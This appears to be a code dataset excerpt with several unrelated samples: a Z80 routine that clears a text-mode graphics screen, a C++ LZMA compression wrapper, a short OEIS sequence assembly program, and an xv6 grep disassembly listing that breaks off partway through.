text stringlengths 1 1.05M |
|---|
;
; Generic pseudo graphics routines for text-only platforms
; Version for the 2x3 graphics symbols
;
; Written by Stefano Bodrato 19/12/2006
;
;
; Clears graph screen.
;
;
; $Id: clsgraph.asm,v 1.5 2017/01/02 22:57:59 aralbrec Exp $
;
INCLUDE "graphics/grafix.inc"
SECTION code_clib
PUBLIC cleargraphics
PUBLIC _cleargraphics
EXTERN base_graphics
.cleargraphics
._cleargraphics
ld hl,(base_graphics)
ld bc,maxx*maxy/6-1
.clean
ld (hl),blankch
inc hl
dec bc
ld a,b
or c
jr nz,clean
ret
|
#include "stdafx.h"
#include "compress.h"
#include "Platform.h"
#include <assert.h>
#include "Alloc.h"
#include "LzmaLib.h"
#include "LzmaDec.h"
#include "LzmaEnc.h"
#include <iostream>
#include <fstream>
using namespace std;
#pragma comment(lib,"..\\lzma\\C\\Util\\LzmaLib\\Release\\LZMA.lib")
int64_t size_compressed=0;
static void * AllocForLzma(void *p, size_t size) { return malloc(size); }
static void FreeForLzma(void *p, void *address) { free(address); }
static ISzAlloc SzAllocForLzma = { &AllocForLzma, &FreeForLzma };
struct MyInStream
{
ISeqInStream SeqInStream;
Pipe &pipe;
} ;
SRes InStream_Read(void *p, void *buf, size_t *size)
{
MyInStream *ctx = (MyInStream*)p;
size_t read;
if(!ctx->pipe.Read(buf,*size,read))read=0;
*size = read;
return SZ_OK;
}
struct MyOutStream
{
ISeqOutStream SeqOutStream;
std::ostream *out;
} ;
size_t OutStream_Write(void *p, const void *buf, size_t size)
{
MyOutStream *ctx = (MyOutStream*)p;
if (size)
{
ctx->out->write((const char*)buf,size);
size_compressed+=size;
}
return size;
}
void CompressInc(Pipe& pip,std::ostream *outfile)
{
CLzmaEncHandle enc = LzmaEnc_Create(&SzAllocForLzma);
CLzmaEncProps props;
LzmaEncProps_Init(&props);
props.level=9;
props.dictSize = 1 << 26; // 64 MB
props.writeEndMark = 1; // 0 or 1
SRes res = LzmaEnc_SetProps(enc, &props);
unsigned propsSize = LZMA_PROPS_SIZE;
char buf[LZMA_PROPS_SIZE];
res = LzmaEnc_WriteProperties(enc, (Byte*)buf, &propsSize);
assert(res == SZ_OK && propsSize == LZMA_PROPS_SIZE);
outfile->write(buf,LZMA_PROPS_SIZE);
MyInStream inStream = { &InStream_Read,pip};
MyOutStream outStream = { &OutStream_Write, outfile };
res = LzmaEnc_Encode(enc,
(ISeqOutStream*)&outStream, (ISeqInStream*)&inStream,
0, &SzAllocForLzma, &SzAllocForLzma);
assert(res == SZ_OK);
LzmaEnc_Destroy(enc, &SzAllocForLzma, &SzAllocForLzma);
}
const unsigned int buflen=1024*1024*5;
void DecodeToPipe(ifstream &difffile,Pipe &pipe){
difffile.seekg(0,difffile.end);
int64_t difflen=difffile.tellg().seekpos();
difffile.seekg(0,difffile.beg);
cerr<<"Diff file length:"<<difflen<<endl;
if(difflen<LZMA_PROPS_SIZE){
pipe.Close(false,true);
return ;
}
CLzmaDec dec;
LzmaDec_Construct(&dec);
byte *inbuf=new byte[buflen];
byte *outbuf=new byte[buflen];
int64_t inbufread=0,total=difflen;
int64_t left=difflen-inbufread;
difffile.read((char*)inbuf,min(left,buflen));
inbufread+=difffile.gcount();
SRes res = LzmaDec_Allocate(&dec, &inbuf[0], LZMA_PROPS_SIZE, &SzAllocForLzma);
assert(res == SZ_OK);
LzmaDec_Init(&dec);
unsigned inPos = LZMA_PROPS_SIZE,bufleft=(unsigned)inbufread-inPos;
ELzmaStatus status;
while(left>0 || bufleft>0 ){
while (bufleft>0)
{
unsigned destLen = buflen;
unsigned srcLen = buflen - inPos;
res = LzmaDec_DecodeToBuf(&dec,
outbuf, &destLen,
&inbuf[inPos], &srcLen,
LZMA_FINISH_ANY, &status);
assert(res == SZ_OK);
if(res !=SZ_OK)break;
inPos += srcLen;
bufleft-=srcLen;
pipe.Write(outbuf,destLen);
if (status != LZMA_STATUS_NOT_FINISHED)
break;
}
//cout<<"LZMA "<<res<<' '<<status<<endl;
//cout<<"LZMA1 "<<bufleft<<' '<<inPos<<endl;
if(res !=SZ_OK)break;
/*if(status==LZMA_STATUS_NEEDS_MORE_INPUT){
cout<<"more input?"<<inPos<<' '<<buflen<<endl;
break;
}*/
if(status != LZMA_STATUS_NOT_FINISHED && status!=LZMA_STATUS_NEEDS_MORE_INPUT){
break;
}
if(bufleft!=0)__asm int 3;
difffile.read((char*)inbuf,min(left,buflen));
if(!difffile)break;
bufleft=(unsigned)difffile.gcount();
inbufread+=bufleft;
left=difflen-inbufread;
inPos=0;
//cout<<std::setiosflags(ios::fixed)<<std::setprecision(0)<<"LZMA2 "<<(double)left<<' '<<(double)bufleft<<' '<<(double)inbufread<<' '<<(double)left<<' '<<inPos<<endl;
}
LzmaDec_Free(&dec, &SzAllocForLzma);
delete [] inbuf;
delete [] outbuf;
pipe.Close(false,true);
}; |
; A047311: Numbers that are congruent to {4, 5, 6} mod 7.
; 4,5,6,11,12,13,18,19,20,25,26,27,32,33,34,39,40,41,46,47,48,53,54,55,60,61,62,67,68,69,74,75,76,81,82,83,88,89,90,95,96,97,102,103,104,109,110,111,116,117,118,123,124,125,130,131,132,137,138,139,144
mov $1,$0
div $1,3
mul $1,4
add $0,$1
add $0,4
|
_grep: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
}
}
int
main(int argc, char *argv[])
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 57 push %edi
4: 56 push %esi
5: 53 push %ebx
6: 83 e4 f0 and $0xfffffff0,%esp
9: 83 ec 10 sub $0x10,%esp
c: 8b 5d 0c mov 0xc(%ebp),%ebx
int fd, i;
char *pattern;
if(argc <= 1){
f: 83 7d 08 01 cmpl $0x1,0x8(%ebp)
13: 0f 8e a0 00 00 00 jle b9 <main+0xb9>
printf(2, "usage: grep pattern [file ...]\n");
exit(0);
}
pattern = argv[1];
19: 8b 43 04 mov 0x4(%ebx),%eax
1c: 83 c3 08 add $0x8,%ebx
if(argc <= 2){
1f: be 02 00 00 00 mov $0x2,%esi
24: 83 7d 08 02 cmpl $0x2,0x8(%ebp)
if(argc <= 1){
printf(2, "usage: grep pattern [file ...]\n");
exit(0);
}
pattern = argv[1];
28: 89 44 24 0c mov %eax,0xc(%esp)
if(argc <= 2){
2c: 74 6f je 9d <main+0x9d>
2e: 66 90 xchg %ax,%ax
grep(pattern, 0);
exit(0);
}
for(i = 2; i < argc; i++){
if((fd = open(argv[i], 0)) < 0){
30: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
37: 00
38: 8b 03 mov (%ebx),%eax
3a: 89 04 24 mov %eax,(%esp)
3d: e8 58 05 00 00 call 59a <open>
42: 85 c0 test %eax,%eax
44: 89 c7 mov %eax,%edi
46: 78 2f js 77 <main+0x77>
printf(1, "grep: cannot open %s\n", argv[i]);
exit(0);
}
grep(pattern, fd);
48: 89 44 24 04 mov %eax,0x4(%esp)
4c: 8b 44 24 0c mov 0xc(%esp),%eax
if(argc <= 2){
grep(pattern, 0);
exit(0);
}
for(i = 2; i < argc; i++){
50: 83 c6 01 add $0x1,%esi
53: 83 c3 04 add $0x4,%ebx
if((fd = open(argv[i], 0)) < 0){
printf(1, "grep: cannot open %s\n", argv[i]);
exit(0);
}
grep(pattern, fd);
56: 89 04 24 mov %eax,(%esp)
59: e8 c2 01 00 00 call 220 <grep>
close(fd);
5e: 89 3c 24 mov %edi,(%esp)
61: e8 1c 05 00 00 call 582 <close>
if(argc <= 2){
grep(pattern, 0);
exit(0);
}
for(i = 2; i < argc; i++){
66: 39 75 08 cmp %esi,0x8(%ebp)
69: 7f c5 jg 30 <main+0x30>
exit(0);
}
grep(pattern, fd);
close(fd);
}
exit(0);
6b: c7 04 24 00 00 00 00 movl $0x0,(%esp)
72: e8 db 04 00 00 call 552 <exit>
exit(0);
}
for(i = 2; i < argc; i++){
if((fd = open(argv[i], 0)) < 0){
printf(1, "grep: cannot open %s\n", argv[i]);
77: 8b 03 mov (%ebx),%eax
79: c7 44 24 04 28 0a 00 movl $0xa28,0x4(%esp)
80: 00
81: c7 04 24 01 00 00 00 movl $0x1,(%esp)
88: 89 44 24 08 mov %eax,0x8(%esp)
8c: e8 0f 06 00 00 call 6a0 <printf>
exit(0);
91: c7 04 24 00 00 00 00 movl $0x0,(%esp)
98: e8 b5 04 00 00 call 552 <exit>
exit(0);
}
pattern = argv[1];
if(argc <= 2){
grep(pattern, 0);
9d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
a4: 00
a5: 89 04 24 mov %eax,(%esp)
a8: e8 73 01 00 00 call 220 <grep>
exit(0);
ad: c7 04 24 00 00 00 00 movl $0x0,(%esp)
b4: e8 99 04 00 00 call 552 <exit>
{
int fd, i;
char *pattern;
if(argc <= 1){
printf(2, "usage: grep pattern [file ...]\n");
b9: c7 44 24 04 08 0a 00 movl $0xa08,0x4(%esp)
c0: 00
c1: c7 04 24 02 00 00 00 movl $0x2,(%esp)
c8: e8 d3 05 00 00 call 6a0 <printf>
exit(0);
cd: c7 04 24 00 00 00 00 movl $0x0,(%esp)
d4: e8 79 04 00 00 call 552 <exit>
d9: 66 90 xchg %ax,%ax
db: 66 90 xchg %ax,%ax
dd: 66 90 xchg %ax,%ax
df: 90 nop
000000e0 <matchstar>:
return 0;
}
// matchstar: search for c*re at beginning of text
int matchstar(int c, char *re, char *text)
{
e0: 55 push %ebp
e1: 89 e5 mov %esp,%ebp
e3: 57 push %edi
e4: 56 push %esi
e5: 53 push %ebx
e6: 83 ec 1c sub $0x1c,%esp
e9: 8b 75 08 mov 0x8(%ebp),%esi
ec: 8b 7d 0c mov 0xc(%ebp),%edi
ef: 8b 5d 10 mov 0x10(%ebp),%ebx
f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{ // a * matches zero or more instances
if(matchhere(re, text))
f8: 89 5c 24 04 mov %ebx,0x4(%esp)
fc: 89 3c 24 mov %edi,(%esp)
ff: e8 3c 00 00 00 call 140 <matchhere>
104: 85 c0 test %eax,%eax
106: 75 20 jne 128 <matchstar+0x48>
return 1;
}while(*text!='\0' && (*text++==c || c=='.'));
108: 0f be 13 movsbl (%ebx),%edx
10b: 84 d2 test %dl,%dl
10d: 74 0c je 11b <matchstar+0x3b>
10f: 83 c3 01 add $0x1,%ebx
112: 39 f2 cmp %esi,%edx
114: 74 e2 je f8 <matchstar+0x18>
116: 83 fe 2e cmp $0x2e,%esi
119: 74 dd je f8 <matchstar+0x18>
return 0;
}
11b: 83 c4 1c add $0x1c,%esp
11e: 5b pop %ebx
11f: 5e pop %esi
120: 5f pop %edi
121: 5d pop %ebp
122: c3 ret
123: 90 nop
124: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
128: 83 c4 1c add $0x1c,%esp
// matchstar: search for c*re at beginning of text
int matchstar(int c, char *re, char *text)
{
do{ // a * matches zero or more instances
if(matchhere(re, text))
return 1;
12b: b8 01 00 00 00 mov $0x1,%eax
}while(*text!='\0' && (*text++==c || c=='.'));
return 0;
}
130: 5b pop %ebx
131: 5e pop %esi
132: 5f pop %edi
133: 5d pop %ebp
134: c3 ret
135: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
139: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000140 <matchhere>:
return 0;
}
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
140: 55 push %ebp
141: 89 e5 mov %esp,%ebp
143: 53 push %ebx
144: 83 ec 14 sub $0x14,%esp
147: 8b 55 08 mov 0x8(%ebp),%edx
14a: 8b 4d 0c mov 0xc(%ebp),%ecx
if(re[0] == '\0')
14d: 0f be 02 movsbl (%edx),%eax
150: 84 c0 test %al,%al
152: 75 20 jne 174 <matchhere+0x34>
154: eb 42 jmp 198 <matchhere+0x58>
156: 66 90 xchg %ax,%ax
return 1;
if(re[1] == '*')
return matchstar(re[0], re+2, text);
if(re[0] == '$' && re[1] == '\0')
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
158: 0f b6 19 movzbl (%ecx),%ebx
15b: 84 db test %bl,%bl
15d: 74 31 je 190 <matchhere+0x50>
15f: 3c 2e cmp $0x2e,%al
161: 74 04 je 167 <matchhere+0x27>
163: 38 d8 cmp %bl,%al
165: 75 29 jne 190 <matchhere+0x50>
return matchhere(re+1, text+1);
167: 83 c2 01 add $0x1,%edx
}
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
if(re[0] == '\0')
16a: 0f be 02 movsbl (%edx),%eax
if(re[1] == '*')
return matchstar(re[0], re+2, text);
if(re[0] == '$' && re[1] == '\0')
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
return matchhere(re+1, text+1);
16d: 83 c1 01 add $0x1,%ecx
}
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
if(re[0] == '\0')
170: 84 c0 test %al,%al
172: 74 24 je 198 <matchhere+0x58>
return 1;
if(re[1] == '*')
174: 0f b6 5a 01 movzbl 0x1(%edx),%ebx
178: 80 fb 2a cmp $0x2a,%bl
17b: 74 2b je 1a8 <matchhere+0x68>
return matchstar(re[0], re+2, text);
if(re[0] == '$' && re[1] == '\0')
17d: 3c 24 cmp $0x24,%al
17f: 75 d7 jne 158 <matchhere+0x18>
181: 84 db test %bl,%bl
183: 74 3c je 1c1 <matchhere+0x81>
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
185: 0f b6 19 movzbl (%ecx),%ebx
188: 84 db test %bl,%bl
18a: 75 d7 jne 163 <matchhere+0x23>
18c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return matchhere(re+1, text+1);
return 0;
190: 31 c0 xor %eax,%eax
}
192: 83 c4 14 add $0x14,%esp
195: 5b pop %ebx
196: 5d pop %ebp
197: c3 ret
198: 83 c4 14 add $0x14,%esp
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
if(re[0] == '\0')
return 1;
19b: b8 01 00 00 00 mov $0x1,%eax
if(re[0] == '$' && re[1] == '\0')
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
return matchhere(re+1, text+1);
return 0;
}
1a0: 5b pop %ebx
1a1: 5d pop %ebp
1a2: c3 ret
1a3: 90 nop
1a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
int matchhere(char *re, char *text)
{
if(re[0] == '\0')
return 1;
if(re[1] == '*')
return matchstar(re[0], re+2, text);
1a8: 83 c2 02 add $0x2,%edx
1ab: 89 4c 24 08 mov %ecx,0x8(%esp)
1af: 89 54 24 04 mov %edx,0x4(%esp)
1b3: 89 04 24 mov %eax,(%esp)
1b6: e8 25 ff ff ff call e0 <matchstar>
if(re[0] == '$' && re[1] == '\0')
return *text == '\0';
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
return matchhere(re+1, text+1);
return 0;
}
1bb: 83 c4 14 add $0x14,%esp
1be: 5b pop %ebx
1bf: 5d pop %ebp
1c0: c3 ret
if(re[0] == '\0')
return 1;
if(re[1] == '*')
return matchstar(re[0], re+2, text);
if(re[0] == '$' && re[1] == '\0')
return *text == '\0';
1c1: 31 c0 xor %eax,%eax
1c3: 80 39 00 cmpb $0x0,(%ecx)
1c6: 0f 94 c0 sete %al
1c9: eb c7 jmp 192 <matchhere+0x52>
1cb: 90 nop
1cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000001d0 <match>:
int matchhere(char*, char*);
int matchstar(int, char*, char*);
int
match(char *re, char *text)
{
1d0: 55 push %ebp
1d1: 89 e5 mov %esp,%ebp
1d3: 56 push %esi
1d4: 53 push %ebx
1d5: 83 ec 10 sub $0x10,%esp
1d8: 8b 75 08 mov 0x8(%ebp),%esi
1db: 8b 5d 0c mov 0xc(%ebp),%ebx
if(re[0] == '^')
1de: 80 3e 5e cmpb $0x5e,(%esi)
1e1: 75 0e jne 1f1 <match+0x21>
1e3: eb 28 jmp 20d <match+0x3d>
1e5: 8d 76 00 lea 0x0(%esi),%esi
return matchhere(re+1, text);
do{ // must look at empty string
if(matchhere(re, text))
return 1;
}while(*text++ != '\0');
1e8: 83 c3 01 add $0x1,%ebx
1eb: 80 7b ff 00 cmpb $0x0,-0x1(%ebx)
1ef: 74 15 je 206 <match+0x36>
match(char *re, char *text)
{
if(re[0] == '^')
return matchhere(re+1, text);
do{ // must look at empty string
if(matchhere(re, text))
1f1: 89 5c 24 04 mov %ebx,0x4(%esp)
1f5: 89 34 24 mov %esi,(%esp)
1f8: e8 43 ff ff ff call 140 <matchhere>
1fd: 85 c0 test %eax,%eax
1ff: 74 e7 je 1e8 <match+0x18>
return 1;
201: b8 01 00 00 00 mov $0x1,%eax
}while(*text++ != '\0');
return 0;
}
206: 83 c4 10 add $0x10,%esp
209: 5b pop %ebx
20a: 5e pop %esi
20b: 5d pop %ebp
20c: c3 ret
int
match(char *re, char *text)
{
if(re[0] == '^')
return matchhere(re+1, text);
20d: 83 c6 01 add $0x1,%esi
210: 89 75 08 mov %esi,0x8(%ebp)
do{ // must look at empty string
if(matchhere(re, text))
return 1;
}while(*text++ != '\0');
return 0;
}
213: 83 c4 10 add $0x10,%esp
216: 5b pop %ebx
217: 5e pop %esi
218: 5d pop %ebp
int
match(char *re, char *text)
{
if(re[0] == '^')
return matchhere(re+1, text);
219: e9 22 ff ff ff jmp 140 <matchhere>
21e: 66 90 xchg %ax,%ax
00000220 <grep>:
char buf[1024];
int match(char*, char*);
void
grep(char *pattern, int fd)
{
220: 55 push %ebp
221: 89 e5 mov %esp,%ebp
223: 57 push %edi
224: 56 push %esi
225: 53 push %ebx
226: 83 ec 1c sub $0x1c,%esp
229: 8b 75 08 mov 0x8(%ebp),%esi
int n, m;
char *p, *q;
m = 0;
22c: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
233: 90 nop
234: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){
238: 8b 55 e4 mov -0x1c(%ebp),%edx
23b: b8 ff 03 00 00 mov $0x3ff,%eax
240: 29 d0 sub %edx,%eax
242: 89 44 24 08 mov %eax,0x8(%esp)
246: 89 d0 mov %edx,%eax
248: 05 c0 0d 00 00 add $0xdc0,%eax
24d: 89 44 24 04 mov %eax,0x4(%esp)
251: 8b 45 0c mov 0xc(%ebp),%eax
254: 89 04 24 mov %eax,(%esp)
257: e8 16 03 00 00 call 572 <read>
25c: 85 c0 test %eax,%eax
25e: 0f 8e b8 00 00 00 jle 31c <grep+0xfc>
m += n;
264: 01 45 e4 add %eax,-0x1c(%ebp)
buf[m] = '\0';
p = buf;
267: bb c0 0d 00 00 mov $0xdc0,%ebx
char *p, *q;
m = 0;
while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){
m += n;
buf[m] = '\0';
26c: 8b 45 e4 mov -0x1c(%ebp),%eax
26f: c6 80 c0 0d 00 00 00 movb $0x0,0xdc0(%eax)
276: 66 90 xchg %ax,%ax
p = buf;
while((q = strchr(p, '\n')) != 0){
278: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
27f: 00
280: 89 1c 24 mov %ebx,(%esp)
283: e8 78 01 00 00 call 400 <strchr>
288: 85 c0 test %eax,%eax
28a: 89 c7 mov %eax,%edi
28c: 74 42 je 2d0 <grep+0xb0>
*q = 0;
28e: c6 07 00 movb $0x0,(%edi)
if(match(pattern, p)){
291: 89 5c 24 04 mov %ebx,0x4(%esp)
295: 89 34 24 mov %esi,(%esp)
298: e8 33 ff ff ff call 1d0 <match>
29d: 85 c0 test %eax,%eax
29f: 75 07 jne 2a8 <grep+0x88>
2a1: 8d 5f 01 lea 0x1(%edi),%ebx
2a4: eb d2 jmp 278 <grep+0x58>
2a6: 66 90 xchg %ax,%ax
*q = '\n';
2a8: c6 07 0a movb $0xa,(%edi)
write(1, p, q+1 - p);
2ab: 83 c7 01 add $0x1,%edi
2ae: 89 f8 mov %edi,%eax
2b0: 29 d8 sub %ebx,%eax
2b2: 89 5c 24 04 mov %ebx,0x4(%esp)
2b6: 89 fb mov %edi,%ebx
2b8: 89 44 24 08 mov %eax,0x8(%esp)
2bc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2c3: e8 b2 02 00 00 call 57a <write>
2c8: eb ae jmp 278 <grep+0x58>
2ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
}
p = q+1;
}
if(p == buf)
2d0: 81 fb c0 0d 00 00 cmp $0xdc0,%ebx
2d6: 74 38 je 310 <grep+0xf0>
m = 0;
if(m > 0){
2d8: 8b 45 e4 mov -0x1c(%ebp),%eax
2db: 85 c0 test %eax,%eax
2dd: 0f 8e 55 ff ff ff jle 238 <grep+0x18>
m -= p - buf;
2e3: b8 c0 0d 00 00 mov $0xdc0,%eax
2e8: 29 d8 sub %ebx,%eax
2ea: 01 45 e4 add %eax,-0x1c(%ebp)
memmove(buf, p, m);
2ed: 8b 45 e4 mov -0x1c(%ebp),%eax
2f0: 89 5c 24 04 mov %ebx,0x4(%esp)
2f4: c7 04 24 c0 0d 00 00 movl $0xdc0,(%esp)
2fb: 89 44 24 08 mov %eax,0x8(%esp)
2ff: e8 1c 02 00 00 call 520 <memmove>
304: e9 2f ff ff ff jmp 238 <grep+0x18>
309: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
write(1, p, q+1 - p);
}
p = q+1;
}
if(p == buf)
m = 0;
310: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
317: e9 1c ff ff ff jmp 238 <grep+0x18>
if(m > 0){
m -= p - buf;
memmove(buf, p, m);
}
}
}
31c: 83 c4 1c add $0x1c,%esp
31f: 5b pop %ebx
320: 5e pop %esi
321: 5f pop %edi
322: 5d pop %ebp
323: c3 ret
324: 66 90 xchg %ax,%ax
326: 66 90 xchg %ax,%ax
328: 66 90 xchg %ax,%ax
32a: 66 90 xchg %ax,%ax
32c: 66 90 xchg %ax,%ax
32e: 66 90 xchg %ax,%ax
00000330 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
330: 55 push %ebp
331: 89 e5 mov %esp,%ebp
333: 8b 45 08 mov 0x8(%ebp),%eax
336: 8b 4d 0c mov 0xc(%ebp),%ecx
339: 53 push %ebx
char *os;
os = s;
while((*s++ = *t++) != 0)
33a: 89 c2 mov %eax,%edx
33c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
340: 83 c1 01 add $0x1,%ecx
343: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
347: 83 c2 01 add $0x1,%edx
34a: 84 db test %bl,%bl
34c: 88 5a ff mov %bl,-0x1(%edx)
34f: 75 ef jne 340 <strcpy+0x10>
;
return os;
}
351: 5b pop %ebx
352: 5d pop %ebp
353: c3 ret
354: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
35a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000360 <strcmp>:
int
strcmp(const char *p, const char *q)
{
360: 55 push %ebp
361: 89 e5 mov %esp,%ebp
363: 8b 55 08 mov 0x8(%ebp),%edx
366: 53 push %ebx
367: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
36a: 0f b6 02 movzbl (%edx),%eax
36d: 84 c0 test %al,%al
36f: 74 2d je 39e <strcmp+0x3e>
371: 0f b6 19 movzbl (%ecx),%ebx
374: 38 d8 cmp %bl,%al
376: 74 0e je 386 <strcmp+0x26>
378: eb 2b jmp 3a5 <strcmp+0x45>
37a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
380: 38 c8 cmp %cl,%al
382: 75 15 jne 399 <strcmp+0x39>
p++, q++;
384: 89 d9 mov %ebx,%ecx
386: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
389: 0f b6 02 movzbl (%edx),%eax
p++, q++;
38c: 8d 59 01 lea 0x1(%ecx),%ebx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
38f: 0f b6 49 01 movzbl 0x1(%ecx),%ecx
393: 84 c0 test %al,%al
395: 75 e9 jne 380 <strcmp+0x20>
397: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
399: 29 c8 sub %ecx,%eax
}
39b: 5b pop %ebx
39c: 5d pop %ebp
39d: c3 ret
39e: 0f b6 09 movzbl (%ecx),%ecx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
3a1: 31 c0 xor %eax,%eax
3a3: eb f4 jmp 399 <strcmp+0x39>
3a5: 0f b6 cb movzbl %bl,%ecx
3a8: eb ef jmp 399 <strcmp+0x39>
3aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
000003b0 <strlen>:
return (uchar)*p - (uchar)*q;
}
uint
strlen(char *s)
{
3b0: 55 push %ebp
3b1: 89 e5 mov %esp,%ebp
3b3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
3b6: 80 39 00 cmpb $0x0,(%ecx)
3b9: 74 12 je 3cd <strlen+0x1d>
3bb: 31 d2 xor %edx,%edx
3bd: 8d 76 00 lea 0x0(%esi),%esi
3c0: 83 c2 01 add $0x1,%edx
3c3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
3c7: 89 d0 mov %edx,%eax
3c9: 75 f5 jne 3c0 <strlen+0x10>
;
return n;
}
3cb: 5d pop %ebp
3cc: c3 ret
uint
strlen(char *s)
{
int n;
for(n = 0; s[n]; n++)
3cd: 31 c0 xor %eax,%eax
;
return n;
}
3cf: 5d pop %ebp
3d0: c3 ret
3d1: eb 0d jmp 3e0 <memset>
3d3: 90 nop
3d4: 90 nop
3d5: 90 nop
3d6: 90 nop
3d7: 90 nop
3d8: 90 nop
3d9: 90 nop
3da: 90 nop
3db: 90 nop
3dc: 90 nop
3dd: 90 nop
3de: 90 nop
3df: 90 nop
000003e0 <memset>:
void*
memset(void *dst, int c, uint n)
{
3e0: 55 push %ebp
3e1: 89 e5 mov %esp,%ebp
3e3: 8b 55 08 mov 0x8(%ebp),%edx
3e6: 57 push %edi
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
3e7: 8b 4d 10 mov 0x10(%ebp),%ecx
3ea: 8b 45 0c mov 0xc(%ebp),%eax
3ed: 89 d7 mov %edx,%edi
3ef: fc cld
3f0: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
3f2: 89 d0 mov %edx,%eax
3f4: 5f pop %edi
3f5: 5d pop %ebp
3f6: c3 ret
3f7: 89 f6 mov %esi,%esi
3f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000400 <strchr>:
char*
strchr(const char *s, char c)
{
400: 55 push %ebp
401: 89 e5 mov %esp,%ebp
403: 8b 45 08 mov 0x8(%ebp),%eax
406: 53 push %ebx
407: 8b 55 0c mov 0xc(%ebp),%edx
for(; *s; s++)
40a: 0f b6 18 movzbl (%eax),%ebx
40d: 84 db test %bl,%bl
40f: 74 1d je 42e <strchr+0x2e>
if(*s == c)
411: 38 d3 cmp %dl,%bl
413: 89 d1 mov %edx,%ecx
415: 75 0d jne 424 <strchr+0x24>
417: eb 17 jmp 430 <strchr+0x30>
419: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
420: 38 ca cmp %cl,%dl
422: 74 0c je 430 <strchr+0x30>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
424: 83 c0 01 add $0x1,%eax
427: 0f b6 10 movzbl (%eax),%edx
42a: 84 d2 test %dl,%dl
42c: 75 f2 jne 420 <strchr+0x20>
if(*s == c)
return (char*)s;
return 0;
42e: 31 c0 xor %eax,%eax
}
430: 5b pop %ebx
431: 5d pop %ebp
432: c3 ret
433: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
439: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000440 <gets>:
char*
gets(char *buf, int max)
{
440: 55 push %ebp
441: 89 e5 mov %esp,%ebp
443: 57 push %edi
444: 56 push %esi
int i, cc;
char c;
for(i=0; i+1 < max; ){
445: 31 f6 xor %esi,%esi
return 0;
}
char*
gets(char *buf, int max)
{
447: 53 push %ebx
448: 83 ec 2c sub $0x2c,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
44b: 8d 7d e7 lea -0x19(%ebp),%edi
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
44e: eb 31 jmp 481 <gets+0x41>
cc = read(0, &c, 1);
450: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
457: 00
458: 89 7c 24 04 mov %edi,0x4(%esp)
45c: c7 04 24 00 00 00 00 movl $0x0,(%esp)
463: e8 0a 01 00 00 call 572 <read>
if(cc < 1)
468: 85 c0 test %eax,%eax
46a: 7e 1d jle 489 <gets+0x49>
break;
buf[i++] = c;
46c: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
470: 89 de mov %ebx,%esi
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
472: 8b 55 08 mov 0x8(%ebp),%edx
if(c == '\n' || c == '\r')
475: 3c 0d cmp $0xd,%al
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
477: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
47b: 74 0c je 489 <gets+0x49>
47d: 3c 0a cmp $0xa,%al
47f: 74 08 je 489 <gets+0x49>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
